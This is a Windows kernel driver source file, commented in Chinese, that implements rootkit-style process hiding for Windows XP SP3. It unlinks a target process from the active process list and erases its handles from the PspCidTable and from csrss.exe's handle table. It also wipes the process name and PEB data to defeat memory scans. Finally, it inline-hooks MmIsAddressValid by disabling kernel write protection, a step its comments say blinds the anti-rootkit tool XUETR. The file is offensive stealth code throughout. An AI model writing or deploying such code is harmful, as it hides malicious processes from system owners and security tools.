/*
 * KiProtect.cpp
 *
 *  Created on: 2013-10-25
 *      Author: WinDDK
 */

#include "KiProtect.h"

int HideWitch = 0; //指明遍历哪个句柄表，0表示全局句柄表
PEPROCESS eProcess;

ULONG HideObject;  //用于保存CSRSS待擦除对象
PHANDLE_TABLE pPspHandleAddr;
//ULONG dwHidePid=1728;//待隐藏PID
PEPROCESS pCsrssEprocess;

ULONG HideAddrA;
ULONG HideAddrB;
ULONG HideAddrC;
ULONG HideAddrD;

KIRQL Irql;
ULONG g_uCr0;
ULONG AddrOfOb;

UCHAR OldAddr[5] =
{ 0 };  //保存被HOOK函数的前五个字节
UCHAR HookAddr[5] =
{ 0XE9, 0, 0, 0, 0 };  //JMP ADDR指令，HOOK时要改写后面四个字节
UCHAR jmp_orig_code[7] =
{ 0xEA, 0, 0, 0, 0, 0x08, 0x00 };  //长转移，需要绝对地址

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
    IN PHANDLE_TABLE_ENTRY HandleTableEntry,
    IN HANDLE Handle,
    IN OUT PVOID EnumParameter
    );

typedef BOOLEAN (*__ExEnumHandleTable)(
    IN PHANDLE_TABLE HandleTable,
    IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
    IN PVOID EnumParameter,
    OUT PHANDLE Handle OPTIONAL
    );

typedef struct _OBJECT_DUMP_CONTROL {
    PVOID Stream;
    ULONG Detail;
} OB_DUMP_CONTROL, *POB_DUMP_CONTROL;

typedef VOID (*OB_DUMP_METHOD)(
    IN PVOID Object,
    IN POB_DUMP_CONTROL Control OPTIONAL
    );

typedef enum _OB_OPEN_REASON {
    ObCreateHandle,
    ObOpenHandle,
    ObDuplicateHandle,
    ObInheritHandle,
    ObMaxOpenReason
} OB_OPEN_REASON;

typedef VOID (*OB_OPEN_METHOD)(
    IN OB_OPEN_REASON OpenReason,
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ACCESS_MASK GrantedAccess,
    IN ULONG HandleCount
    );

typedef VOID (*OB_CLOSE_METHOD)(
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ACCESS_MASK GrantedAccess,
    IN ULONG ProcessHandleCount,
    IN ULONG SystemHandleCount
    );

typedef BOOLEAN (*OB_OKAYTOCLOSE_METHOD)(
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN HANDLE Handle
    );


typedef VOID (*OB_DELETE_METHOD)(
    IN PVOID Object
    );

typedef NTSTATUS (*OB_PARSE_METHOD)(
    IN PVOID ParseObject,
    IN PVOID ObjectType,
    IN OUT PACCESS_STATE AccessState,
    IN KPROCESSOR_MODE AccessMode,
    IN ULONG Attributes,
    IN OUT PUNICODE_STRING CompleteName,
    IN OUT PUNICODE_STRING RemainingName,
    IN OUT PVOID Context OPTIONAL,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
    OUT PVOID *Object
    );

typedef NTSTATUS (*OB_SECURITY_METHOD)(
    IN PVOID Object,
    IN SECURITY_OPERATION_CODE OperationCode,
    IN PSECURITY_INFORMATION SecurityInformation,
    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
    IN OUT PULONG CapturedLength,
    IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,
    IN POOL_TYPE PoolType,
    IN PGENERIC_MAPPING GenericMapping
    );

typedef NTSTATUS (*OB_QUERYNAME_METHOD)(
    IN PVOID Object,
    IN BOOLEAN HasObjectName,
    OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
    IN ULONG Length,
    OUT PULONG ReturnLength
    );

typedef struct _OBJECT_TYPE_INITIALIZER {
    USHORT Length;
    BOOLEAN UseDefaultObject;
    BOOLEAN CaseInsensitive;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
    OB_DUMP_METHOD DumpProcedure;
    OB_OPEN_METHOD OpenProcedure;
    OB_CLOSE_METHOD CloseProcedure;
    OB_DELETE_METHOD DeleteProcedure;
    OB_PARSE_METHOD ParseProcedure;
    OB_SECURITY_METHOD SecurityProcedure;
    OB_QUERYNAME_METHOD QueryNameProcedure;
    OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;


typedef struct _OBJECT_TYPE {
    ERESOURCE Mutex;
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    PVOID DefaultObject;
    ULONG Index;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    OBJECT_TYPE_INITIALIZER TypeInfo;
    ULONG Key;
} OBJECT_TYPE, *POBJECT_TYPE;


KiProtect::KiProtect()
{


}

KiProtect::~KiProtect()
{

}

BOOLEAN KiProtect::RemoveFromActiveProcessLinks(ULONG processId)
{
    if (eProcess == NULL)
    {
        NTSTATUS status = PsLookupProcessByProcessId(processId, &eProcess);
        if (!NT_SUCCESS(status))
        {
            KiDebug("PsLookupProcessByProcessId Failed");
            return FALSE;
        }
        ObDereferenceObject(eProcess);
    }

    PLIST_ENTRY listEntry = (PLIST_ENTRY) ((ULONG) eProcess + 0x88);  //xp sp3
    listEntry->Blink->Flink = listEntry->Flink;
    listEntry->Flink->Blink = listEntry->Blink;
    listEntry->Flink = NULL;
    listEntry->Blink = NULL;
    return TRUE;
}

//遍历句柄表回调函数
BOOLEAN EnumTableCallBack(IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN OUT PVOID EnumParameter)
{
    ULONG Temp;
    if(HideWitch==0)
    {
        if(ARGUMENT_PRESENT(EnumParameter)&&*((HANDLE*)EnumParameter)==Handle)//遍历到要隐藏的句柄
        {
            KiDebug("找到待擦除句柄%x:\n",Handle);
            *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry;
            //KiDebug("代表的对象%x:\n",HandleTableEntry->Object);
            return TRUE;
        }
        else
        {
            return FALSE;
        }
    }
    else if(HideWitch==1)//遍历的是csrss进程句柄表
    {
        Temp=(ULONG)HandleTableEntry->Object;
        //KiDebug("找到对象%x:\n",Temp);
        if(ARGUMENT_PRESENT(EnumParameter) && Temp==HideObject)//遍历到要隐藏的句柄
        {
            KiDebug("找到CSRSS待擦除句柄%x:\n",Handle);
            *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry;
            return TRUE;
        }
    }
    return FALSE;
}

NTSTATUS KiProtect::EraseObjectFromHandleTable(IN PHANDLE_TABLE handleTable,IN HANDLE processId)
{
    PVOID EnumParameter = processId;

    __ExEnumHandleTable ExEnumHandleTable = (__ExEnumHandleTable) GetFunctionAddressByName(L"ExEnumHandleTable");

    if (NULL == ExEnumHandleTable)
    {
        KiDebug("MmGetSystemRoutineAddress Failed");
        return FALSE;
    }

    if (ExEnumHandleTable(handleTable, EnumTableCallBack, &EnumParameter, NULL))    //如果找到
    {
        InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY) EnumParameter)->Object, NULL);
        return TRUE;
    }
    return FALSE;
}

//擦除全局进程句柄表,这里得到句柄表的句柄
NTSTATUS KiProtect::GetPspCidTable()
{

    NTSTATUS status=STATUS_SUCCESS;
    //ULONG uStartAddress;
    char * Addr_PsLookupProcessByProcessId = 0;
    int i = 0;
    char Findcode[] = { 0xff,0x8e,0xff, 0x35};//WIN XP SP3
    ULONG Addr_PspCidTable = 0;
    //KiDebug("进入函数\n");
    //uStartAddress=PsLookupProcessByProcessId;
    //KiDebug("uStartAddress%x\n",uStartAddress);

    Addr_PsLookupProcessByProcessId = (char *) GetFunctionAddressByName(L"PsLookupProcessByProcessId");
    for(i = 0; i < 100; i ++)
    {
        if( Addr_PsLookupProcessByProcessId[i] == Findcode[0] &&
            Addr_PsLookupProcessByProcessId[i + 1] == Findcode[1] &&
            Addr_PsLookupProcessByProcessId[i + 6] == Findcode[2] &&
            Addr_PsLookupProcessByProcessId[i + 7] == Findcode[3]
           )
    {
      Addr_PspCidTable = *(ULONG*)(&Addr_PsLookupProcessByProcessId[i+8]);
      break;
    }
  }
    pPspHandleAddr=(PHANDLE_TABLE)Addr_PspCidTable;
    KiDebug("PspCidTable地址:%x\n",*(PULONG)pPspHandleAddr);
    return status;
}

NTSTATUS KiProtect::ErasePspTable(ULONG dwHidePid)
{
    KiDebug("开始擦除PspCidTable句柄表进程句柄\n");
    GetPspCidTable();
    HideWitch=0;
    EraseObjectFromHandleTable((PHANDLE_TABLE)(*(PULONG)pPspHandleAddr),(HANDLE)dwHidePid);
    return STATUS_SUCCESS;
}

//根据进程名查找EPROCESS结构
NTSTATUS KiProtect::LookUpProcessByName(IN PCHAR pcProcessName,OUT PEPROCESS *pEPROCESS)
{
    NTSTATUS status=STATUS_SUCCESS;
    PEPROCESS pCurrentEprocess=NULL;
    PLIST_ENTRY pStartListEntry=NULL;//链表开始
    ULONG uCurrentId=0;
    ULONG uStartId=0;
    ULONG uCount=0;
    ULONG uLength=0;
    PEPROCESS pStartEprocess=PsGetCurrentProcess();
    //参数地址有效检查
    if(!ARGUMENT_PRESENT(pcProcessName) ||! ARGUMENT_PRESENT(pEPROCESS))
    {
        return STATUS_INVALID_PARAMETER;
    }
    uStartId=*(PULONG)((ULONG)pStartEprocess+0x84);
    uCurrentId=uStartId;
    pCurrentEprocess=pStartEprocess;
    uLength = strlen(pcProcessName);//得到待比较字符串长度

    while(1)
    {
        if(_strnicmp(pcProcessName,(const char *)((ULONG)pCurrentEprocess+0x174),uLength)==0)
        {
            *pEPROCESS=pCurrentEprocess;
            KiDebug("csrss进程PID:%x\n",*(PULONG)((ULONG)pCurrentEprocess+0x84));
            status =STATUS_SUCCESS;
            break;
        }
        else if((uCount>=1) && (uCurrentId==uStartId))//遍历完毕
        {
            //KiDebug("遍历完毕\n");
            *pEPROCESS = 0x00000000;
            status = STATUS_NOT_FOUND;
            break;
        }
        else
        {
            pStartListEntry=(PLIST_ENTRY)((ULONG)pCurrentEprocess+0x88);

            KiDebug("当前遍历的进程名:%s\n",(ULONG)pCurrentEprocess+0x174);

            pCurrentEprocess=(PEPROCESS)((ULONG)pStartListEntry->Flink);
            pCurrentEprocess=(PEPROCESS)((ULONG)pCurrentEprocess-0x88);
            uCurrentId=*(PULONG)((ULONG)pCurrentEprocess+0x84);
            uCount++;
        }
    }
    return status;
}
//擦除csrss.exe里的进程句柄,这里得到句柄表的句柄
NTSTATUS KiProtect::GetCsrssTable()
{
    NTSTATUS status=STATUS_SUCCESS;
    status=LookUpProcessByName("CSRSS.EXE\0",&pCsrssEprocess);
    return status;
}

NTSTATUS KiProtect::EraseCsrsstable(ULONG dwHidePid)
{
    KiDebug("开始擦除csrss.exe句柄表进程句柄\n");
    GetCsrssTable();
    HideWitch=1;
    HideObject=(ULONG)eProcess;
    EraseObjectFromHandleTable((PHANDLE_TABLE)(*(PULONG)((ULONG)pCsrssEprocess+0xc4)),(HANDLE)dwHidePid);//句柄表偏移
    return STATUS_SUCCESS;
}

/*********************************************************/
/*
以Driver为例:
POBJECT_TYPE DarkMoonDriverType;
CreateNewObjectTypeByName(L"DarkMoonDriver",*IoDriverObjectType,&DarkMoonDriverType);
*/
NTSTATUS
KiProtect::CreateNewObjectTypeByName(
    IN PCWSTR ObjectTypeName,//要创建的对象类型的名字
    IN POBJECT_TYPE pObjectTypeForCopy,//原始的ObjectType
    OUT POBJECT_TYPE *pNewObjectType)//返回新创建的ObjectType
{
    UNICODE_STRING NameString;
    OBJECT_TYPE_INITIALIZER ObjectTypeInitializer;
    NTSTATUS status;
    RtlInitUnicodeString (&NameString, ObjectTypeName);
    RtlZeroMemory (&ObjectTypeInitializer, sizeof (OBJECT_TYPE_INITIALIZER));

    ObjectTypeInitializer.Length = sizeof (ObjectTypeInitializer);
    ObjectTypeInitializer.SecurityRequired = TRUE;
    ObjectTypeInitializer.PoolType = NonPagedPool;
    ObjectTypeInitializer.InvalidAttributes = OBJ_PERMANENT |OBJ_EXCLUSIVE |OBJ_OPENIF;
    ObjectTypeInitializer.DefaultPagedPoolCharge = pObjectTypeForCopy->TypeInfo.DefaultPagedPoolCharge;
    ObjectTypeInitializer.DefaultNonPagedPoolCharge = pObjectTypeForCopy->TypeInfo.DefaultNonPagedPoolCharge;
    //以下这些信息并不总是全都需要，比如PsProcessType与IoDriverObjectType就有一些不同~
    ObjectTypeInitializer.DeleteProcedure = pObjectTypeForCopy->TypeInfo.DeleteProcedure;
    ObjectTypeInitializer.ValidAccessMask = pObjectTypeForCopy->TypeInfo.ValidAccessMask;
    ObjectTypeInitializer.GenericMapping = pObjectTypeForCopy->TypeInfo.GenericMapping;
    ObjectTypeInitializer.ParseProcedure = pObjectTypeForCopy->TypeInfo.ParseProcedure;
    ObjectTypeInitializer.SecurityProcedure = pObjectTypeForCopy->TypeInfo.SecurityProcedure;
    ObjectTypeInitializer.QueryNameProcedure = pObjectTypeForCopy->TypeInfo.QueryNameProcedure;
    ObjectTypeInitializer.MaintainTypeList = pObjectTypeForCopy->TypeInfo.MaintainTypeList;
    //PsProcessType类型增加的
    ObjectTypeInitializer.UseDefaultObject=pObjectTypeForCopy->TypeInfo.UseDefaultObject;
    ObjectTypeInitializer.CaseInsensitive=pObjectTypeForCopy->TypeInfo.CaseInsensitive;
    ObjectTypeInitializer.MaintainHandleCount=pObjectTypeForCopy->TypeInfo.MaintainHandleCount;
    ObjectTypeInitializer.DumpProcedure=pObjectTypeForCopy->TypeInfo.DumpProcedure;
    ObjectTypeInitializer.OpenProcedure=pObjectTypeForCopy->TypeInfo.OpenProcedure;
    ObjectTypeInitializer.CloseProcedure=pObjectTypeForCopy->TypeInfo.CloseProcedure;
    ObjectTypeInitializer.OkayToCloseProcedure=pObjectTypeForCopy->TypeInfo.OkayToCloseProcedure;

    status=ObCreateObjectType (&NameString,(ULONG)&ObjectTypeInitializer,(ULONG)(PSECURITY_DESCRIPTOR)NULL,(ULONG *)pNewObjectType);
    if (NT_SUCCESS(status))
    {
        KiDebug("NewType=0x%08X\n",*pNewObjectType);
    }
    else
    {
        KiDebug("Failed! status=0x%08X\n",status);
    }
    return status;
}
//将所有的本进程的线程句柄从csrss句柄表中擦除
NTSTATUS KiProtect::EraseCsrsstableThread(ULONG Pid)
{
    PLIST_ENTRY pList_Current;
    PLIST_ENTRY pList_Start;
    PKTHREAD pKThread;
    NTSTATUS status;
    ULONG check1, check2;
    PCLIENT_ID Cid;
    ULONG ThreadHeader=NULL;
    ULONG ServiceTableAddr;
    POBJECT_TYPE FutoskyThreadType;

    check1 = *(ULONG *)((ULONG)eProcess + 0x50);
    check2 = ((ULONG)eProcess + 0x50);

    CreateNewObjectTypeByName(L"KillThread",*PsThreadType,&FutoskyThreadType);
    // If check1 points back to the EPROCESS, there are no threads in the process.
    // It must be exiting.
    if (check1 == check2)
        return STATUS_SUCCESS;
    pList_Current=(PLIST_ENTRY)((ULONG)eProcess+0x50);//得到PLIST_ENTRY结构地址
    pList_Start=pList_Current;
    KiDebug("CSRSS线程擦除\n");
    do
    {
        pKThread=(PKTHREAD)((*(ULONG*)pList_Current)-0x1b0);//KPROCESS结构的地址
        ThreadHeader=(ULONG)pKThread-0x18;
        //替换对象类型
        *(ULONG*)(ThreadHeader+0x08)=(ULONG)FutoskyThreadType;//ProcessType

        Cid=(PCLIENT_ID)((ULONG)pKThread+0x1ec);//KPROCESS与Eprocess地址相同
        ServiceTableAddr=*(ULONG*)((ULONG)pKThread+0xe0);

        KiDebug("线程ID：%x\n",Cid->UniqueThread);
        //KiDebug("ServiceTable地址：%x\n",ServiceTableAddr);
        //if(ServiceTableAddr==0x8055d700)
            //*(ULONG*)((ULONG)pKThread+0xe0)=&FakeSSDT;//修改为伪造的SSDT
        pList_Current=pList_Current->Flink;
        HideWitch=1;
        HideObject=(ULONG)pKThread;
        EraseObjectFromHandleTable((PHANDLE_TABLE)(*(PULONG)((ULONG)pCsrssEprocess+0xc4)),Cid->UniqueThread);

    }while(pList_Current!=pList_Start);
    return STATUS_SUCCESS;
}

 void KiProtect::AntiSearchRAM()//尽可能的抹掉
 {
    POBJECT_TYPE FutoskyProcessType;

    ULONG ProcessHeader=NULL;
    ULONG VirtualAddress;//进程虚拟地址
    PUNICODE_STRING Tmp;
    PUNICODE_STRING SeAuditProcessCreationInfo;
    ULONG CURDIR_Addr;//_CURDIR结构地址
    ULONG Base=0x00400000;//虚拟基地址
    ULONG PEBase;
    ULONG VM;
    PLIST_ENTRY pListVM;

    //*(ULONG*)((ULONG)pEprocess+0x84)=0;//UniqueProcessID  这个为0就出错啦

    //CreateNewObjectTypeByName(L"Kill",*PsProcessType,&FutoskyProcessType);
    KiDebug("对抗内存搜索Eprocess地址%x\n",eProcess);
    KiDebug("对抗内存搜索Eprocess Header 地址%x\n",(ULONG)eProcess-0x18);

    //ProcessHeader=(ULONG)((ULONG)pEprocess-0x18);
    //*(ULONG*)(ProcessHeader+0x08)=(ULONG)FutoskyProcessType;//ProcessType
    *(ULONG*)((ULONG)eProcess+0x14c)=0;//父进程ID
    *(ULONG*)((ULONG)eProcess+0x174)=0;//抹掉进程名
    *(ULONG*)((ULONG)eProcess)=0;//PEPROCESS->Pcb.Header.Type
    *(ULONG*)(*(ULONG*)((ULONG)eProcess+0xc4)+0x008)=0;// _HANDLE_TABLE

    /**************************************************///几个地址
    HideAddrA=(*(ULONG*)((ULONG)eProcess + 0x50));
    HideAddrB=(*(ULONG *)((ULONG)eProcess + 0x54));
    HideAddrC=(*(ULONG *)((ULONG)eProcess + 0x190) - 0x224);

    SeAuditProcessCreationInfo=(PUNICODE_STRING)(*(ULONG*)((ULONG)eProcess+0x1f4));//SeAuditProcessCreationInfo

    RtlZeroMemory(SeAuditProcessCreationInfo->Buffer,SeAuditProcessCreationInfo->Length);
    SeAuditProcessCreationInfo->Length = 0;
    SeAuditProcessCreationInfo->MaximumLength = 0;

    VM=(ULONG)eProcess+0x1f8;//VM----WorkingSetExpansionLinks
    pListVM=(PLIST_ENTRY)(VM+0x24);//得到PLIST_ENTRY结构地址

    pListVM->Blink->Flink=pListVM->Flink;
    pListVM->Flink->Blink=pListVM->Blink;
    pListVM->Flink=NULL;
    pListVM->Blink=NULL;

    KeAttachProcess(eProcess);  //Attach进程虚拟空间
    //抹除PEB信息
    VirtualAddress=*(ULONG*)((ULONG)eProcess+0x1b0);//PEB地址
    if(MmIsAddressValid((PVOID)VirtualAddress))
    {
        //_RTL_USER_PROCESS_PARAMETERS地址
        VirtualAddress=*(ULONG*)((ULONG)VirtualAddress+0x10);
        Tmp=(PUNICODE_STRING)((ULONG)VirtualAddress+0x030);//DllPath
        Tmp->Buffer=NULL;
        Tmp=(PUNICODE_STRING)((ULONG)VirtualAddress+0x070);//WindowTitle
        Tmp->Buffer=NULL;
        Tmp=(PUNICODE_STRING)((ULONG)VirtualAddress+0x090);//CurrentDirectores
        Tmp->Buffer=NULL;
    }
    KeDetachProcess();//解除Attach

}

 //调用次序:
 //ObReferenceObjectByHandle---JMP---MyObReferenceObjectByHandle(内部调用---GotoOriginalMmIsAddressValid(内部跳转到ObReferenceObjectByHandle)---)
 //用于调用原始ObReferenceObjectByHandle
 /*******************************************************************************************/

 _declspec (naked) BOOLEAN GotoOriginalMmIsAddressValid(
     IN PVOID  VirtualAddress
     )
 {
     __asm {  // 共12字节
             _emit 0x90
             _emit 0x90
             _emit 0x90
             _emit 0x90
             _emit 0x90  // 前5字节实现原函数的头5字节功能
             _emit 0x90  // 这个填充jmp
             _emit 0x90
             _emit 0x90
             _emit 0x90
             _emit 0x90  // 这4字节保存原函数+5处的地址
             _emit 0x90
             _emit 0x90  // 因为是长转移,所以必须是 0x0080
     };
 }
 //自己的实现函数
 //导致XUETR0.45无法看到进程
 __declspec (naked) BOOLEAN  MyMmIsAddressValid(
     IN PVOID  VirtualAddress
     )
 {
     if(VirtualAddress==(PVOID)eProcess || VirtualAddress==(PVOID)HideAddrA || VirtualAddress==(PVOID)HideAddrB || VirtualAddress==(PVOID)HideAddrC)// || VirtualAddress==HideAddrD)
     {
         _asm
         {
             mov eax,0;//jmp GotoOriginalMmIsAddressValid;
             ret 4;
         }
     }
     else
     {
         _asm
         {
             jmp GotoOriginalMmIsAddressValid
         }
     }
 }
 void KiProtect::inlineHookMmIsAddressValid(BOOLEAN ishook)
 {
     if (ishook)
     {
         ULONG uAttr;
         AddrOfOb=(ULONG)MmIsAddressValid;
         KiDebug("原始MmIsAddressValid地址：%X\n",AddrOfOb);
         //保存原函数前五个字节的内容
         RtlCopyMemory(OldAddr,(UCHAR*)MmIsAddressValid,5);
         //保存新函数的偏移
         *(ULONG*)(HookAddr+1)=(ULONG)MyMmIsAddressValid-((ULONG)MmIsAddressValid+5);//相对地址
         //开始inline hook
         //关闭内存写保护
         _asm
         {
             push eax;
             mov eax, cr0;
             mov uAttr, eax;
             and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
             mov cr0, eax;
             pop eax;
             cli
         }

         g_uCr0 = uAttr; //保存原有的 CRO
         //提升IRQL中断级
         Irql=KeRaiseIrqlToDpcLevel();
         RtlCopyMemory((UCHAR*)MmIsAddressValid,HookAddr,5);//拷贝到原始函数5个字节
         *((ULONG*)(jmp_orig_code + 1)) = (ULONG)((UCHAR*)MmIsAddressValid+5);//这4字节保存原函数+5处的地址
         RtlCopyMemory((UCHAR*)GotoOriginalMmIsAddressValid,OldAddr,5);//拷贝原始函数5个字节到跳转函数前五个字节
         RtlCopyMemory((UCHAR*)GotoOriginalMmIsAddressValid+ 5,jmp_orig_code,7);//填充跳转函数
         //恢复Irql
         KeLowerIrql(Irql);
         //开启内存写保护
         _asm
         {
             ;sti
                 push eax;
             mov eax, g_uCr0; //恢原有 CR0
             mov cr0, eax;
             pop eax;
         }
     }
     else
     {
         ULONG uAttr;
         if (!OldAddr)
         {
             return;
         }
         //关闭内存写保护
         _asm
         {
             push eax;
             mov eax, cr0;
             mov uAttr, eax;
             and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
             mov cr0, eax;
             pop eax;
             ;cli
         }

         g_uCr0 = uAttr; //保存原有的 CRO
         //提升IRQL中断级
         Irql=KeRaiseIrqlToDpcLevel();
         RtlCopyMemory((UCHAR*)AddrOfOb,OldAddr,5);//拷贝原始函数5个字节到跳转函数前五个字节
         //恢复Irql
         KeLowerIrql(Irql);
         //开启内存写保护
         _asm
         {
             ;sti
                 push eax;
             mov eax, g_uCr0; //恢原有 CR0
             mov cr0, eax;
             pop eax;
         }
     }
 }

 void KiProtect::HideProcessByPid(ULONG dwHidePid)
 {
     NTSTATUS status;
     if(eProcess==NULL)
     {
         status=PsLookupProcessByProcessId(dwHidePid,&eProcess);//EproAddr=DKOMGetProEpro(Pid);//得到待隐藏进程的EPROCESS地址

         if (!NT_SUCCESS(status))
         {
             return;
         }
         ObDereferenceObject(eProcess);//解除引用
     }
     RemoveFromActiveProcessLinks(dwHidePid);//DKOM从ACTIVEPROCESSLIST等链表脱链
    // ErasePspTable(dwHidePid);//抹除PspCidTable的进程句柄
     //EraseCsrsstable(dwHidePid);//抹除csrss的句柄表里的进程句柄
     //EraseCsrsstableThread(dwHidePid);//抹除csrss的句柄表里的线程句柄
     // AntiSearchRAM();//对抗内存搜索
     //inlineHookMmIsAddressValid(true);//利用地址检测返回错误来绕过部分检测   //这个要重新写得

 }

 void KiProtect::RecoveryProcessActiveLink() //恢复断链
 {
     //inlineHookMmIsAddressValid(FALSE);
     //InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)HandleTableBackup)->Object,HandleTableBackupObject);
    // InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)HandleTableBackup)->ObAttributes,HandleTableBackupObject);

     PLIST_ENTRY PsActiveProcessHead=(((PLIST_ENTRY)((ULONG)PsInitialSystemProcess+0x88))->Blink);
     InsertTailList(PsActiveProcessHead,(PLIST_ENTRY)((ULONG)eProcess+0x88));  //插入链表
 }
